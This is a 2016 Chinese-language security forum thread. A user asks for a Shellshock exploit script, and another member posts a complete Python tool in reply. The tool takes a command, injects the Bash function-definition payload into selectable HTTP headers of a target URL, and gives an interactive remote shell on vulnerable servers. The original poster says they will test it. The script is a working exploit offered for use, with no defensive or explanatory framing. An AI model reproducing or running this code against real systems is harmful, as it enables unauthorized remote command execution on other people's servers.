查看: 2365|回复: 2

来个shellsock的漏洞利用脚本、

[复制链接]
  • TA的每日心情

    2016-3-31 10:12
  • 签到天数: 26 天

    [LV.4]偶尔看看III

    发表于 2016-3-31 11:33:03 | 显示全部楼层 |阅读模式
    悬赏200i币已解决
    来个shellsock的漏洞利用脚本、

    最佳答案

    回复

    使用道具 举报

    该用户从未签到

    发表于 2016-3-31 11:33:04 | 显示全部楼层
    [Python] 纯文本查看 复制代码
    #!/usr/bin/env python
    # -*- coding=utf-8 -*-
    #sex8#
    import sys
    import argparse
    import urllib2
    
    
    
    
    
    
    def main(args):
        try:
            while True:
                cmd = raw_input('$')
                if cmd.strip() == 'exit':
                    break
                
                injection =  "() { :;}; echo \"Content-Type: text/html\"; echo; printf; /bin/bash -c \"" + cmd + "\""
               
                request = urllib2.Request(args.URL)
                if args.u:
                    request.add_header("User-Agent", injection)
                if args.a:
                    request.add_header("Accept", injection)
                if args.l:
                    request.add_header("Accept-Language", injection)
                if args.e:
                    request.add_header("Accept-Encoding", injection)
                if args.c:
                    request.add_header("Cookie", injection)
                if args.x:
                    request.add_header("X-Forwarded-For", injection)
                if args.r:
                    request.add_header("Referer", injection)
                result = urllib2.urlopen(request).read()
                print result.strip()
        except:
            
            print sys.exc_info()[1]
            
    if __name__ == '__main__':
        
        parser = argparse.ArgumentParser(add_help=False)
        parser.add_argument('-u', action='store_true', help=' User-Agent Parameter!!')
        parser.add_argument('-a', action='store_true', help=' Accept Parameter !!')
        parser.add_argument('-l', action='store_true', help=' Accept-Language Parameter !!')
        parser.add_argument('-e', action='store_true', help=' Accept-Encoding Parameter!!')
        parser.add_argument('-c', action='store_true', help='Cookie!!')
        parser.add_argument('-x', action='store_true', help='X-Forwarded-For Parameter!!')
        parser.add_argument("-r", action='store_true', help='Referer parameter!!')
        parser.add_argument("URL", help="Shellshock vulnerable URL")
        args = parser.parse_args()
        main(args)
    

    点评

    Yen
    我测试一下。稍等  详情 回复 发表于 2016-3-31 11:37
    回复

    使用道具 举报

  • TA的每日心情

    2016-3-31 10:12
  • 签到天数: 26 天

    [LV.4]偶尔看看III

     楼主| 发表于 2016-3-31 11:37:48 | 显示全部楼层
    Ins 发表于 2016-3-31 11:36
    [mw_shl_code=python,true]#!/usr/bin/env python
    # -*- coding=utf-8 -*-
    #sex8#

    我测试一下。稍等
    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-5-2 00:01 , Processed in 0.042661 second(s), 13 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部